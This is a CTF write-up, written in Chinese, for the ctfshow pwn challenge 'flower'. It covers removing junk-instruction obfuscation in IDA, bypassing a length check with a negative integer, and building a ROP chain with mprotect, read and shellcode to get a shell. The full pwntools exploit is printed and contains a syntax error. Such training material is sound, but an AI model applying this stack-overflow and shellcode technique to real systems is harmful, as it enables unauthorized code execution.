[ctfshow] pwn 内部赛 flower write up

本文总阅读量

今天做了一下午的比较复杂的题,写一下wp,不能保证没有错误,欢迎大家指出

拿到题目后一开始还没意识到是花指令混淆反汇编,用pwndbg调试了很长时间,问了群里的大佬才意识到这点,事实上flower已经暗示了这个为花指令混淆;

首先file和checksec一下:

file

checksec

发现是一个静态编译的64位程序,而且开了NX堆栈不可执行;

静态编译程序无动态链接库,ret2libc是行不通的,考虑写入shellcode后ret2shellcode;

拖进ida64, 发现ida64逆向出来了一堆看不懂的奇怪函数,而且无法找到main函数:

问了问群里的大佬,说是这个不是main函数,先运行一下看看:

直接运行看上去很正常,去ida里找字符串:

根据字符串找交叉引用,发现了没有被反汇编的main函数:

ctrl+x交叉引用

这里被标红说明有问题,注意这里的jz和jnz:

jz和jnz指向了同一个地址,说明无论ZF是何值都会跳转,且夹在中间的指令为死指令,不会被执行,

我们把这两个地址之间的指令全改成0x90(nop):

去main上按p重新生成函数:

发现还有一段没有接上;

这时删除下边那个400A30函数,把main的结束地址放到400A74:

成功合并拿到真正的main函数:

main

这样就能够接着正常分析了。

先看输入:第一个scanf接受一个%d整数,没有什么溢出点,不过程序限制了v9的大小不能超过10;而下一个read会将读入v9个数据,程序想通过这种方式限制输入量。

事实上,注意v9(unsigned int)和(int)的类型转换,我们可以随便输入负数来绕过检查来几乎无限制地读取数据;

所以第一步:

1
p.sendlineafter(b'> ', b'-22')

接下来尝试栈溢出。前文提到过ret2shellcode,我们先寻找一下可读可写可执行的地址:

pwndbg下vmmap

发现没有合适的段,这时寻找能改变权限的函数mprotect:

mprotect

该函数的应用在网上查了查,需要三个参数,ROPgadget一下发现pop rdi,rsi,rdx都能找到:

rdi

rsi

rdx

v8在栈上有0x50个空间,接下来开始构造payload的第一部分:

1
2
3
4
5
6
7
8
payload = b'a' * 88
payload += p64(rdiAddr)
payload += p64(0x400000)
payload += p64(rsiAddr)
payload += p64(0x1024)
payload += p64(rdxAddr)
payload += p64(0x7)
payload += p64(mprotectPlt)

我们计划向0x400000段写入shellcode,因此选择了修改该地址的权限

接下来拿read函数向该段写入shellcode:

read

1
2
3
4
5
6
7
8
9
payload += p64(rdxAddr)
payload += p64(0x60)
payload += p64(rsiAddr)
payload += p64(0x400000)
payload += p64(rdiAddr)
payload += p64(0)
payload += p64(readPlt)
payload += p64(0x400000)
p.sendlineafter(b'> ', payload)

由于能够读入很长的字段,我们直接接着构造payload的第二部分,最后返回地址写成0x400000;

接下来输入shellcode:

1
2
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)

远程试一下(有时会收到EOFerror,再试一次就行),成功拿到flag:

final

还有一种做法是通过ROPgadget内置的ropchain来自动生成getshell脚本(一般最终是通过syscall执行execve(“/bin/sh”, 0, 0)),用法就是–ropchain,这里就不再赘述了。

静态编译的弱点就是会一股脑地编译大量函数,各种gadgets非常好寻找,构造rophchain的方法非常灵活,这只是一个例子。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
binary = '../flower'
elf =ELF(binary)

local = 1
port = 28248
if local == 0:
p = process(binary)
else:
p = remote("pwn.challenge.ctf.show",port)

next = b"ls && cat flag"

#===============plt & got===============#
readPlt = 0x43f9d0
mprotectPlt = 0x440520
rdiAddr = 0x0000000000401696
#pop rdi;ret
rsiAddr = 0x00000000004017b7
rdxAddr = 0x0000000000442e46
#===============shellcode===============#
shellcode = asm(shellcraft.sh())
#=================start=================#
p.sendlineafter(b'> ', b'-22')
payload = b'a' * 88
payload += p64(rdiAddr
payload += p64(0x400000)
payload += p64(rsiAddr)
payload += p64(0x1024)
payload += p64(rdxAddr)
payload += p64(0x7)
payload += p64(mprotectPlt)

payload += p64(rdxAddr)
payload += p64(0x60)
payload += p64(rsiAddr)
payload += p64(0x400000)
payload += p64(rdiAddr)
payload += p64(0)
payload += p64(readPlt)
payload += p64(0x400000)

p.sendlineafter(b'> ', payload)

p.sendline(shellcode)
#=================End=================#
p.sendline(next)
p.interactive()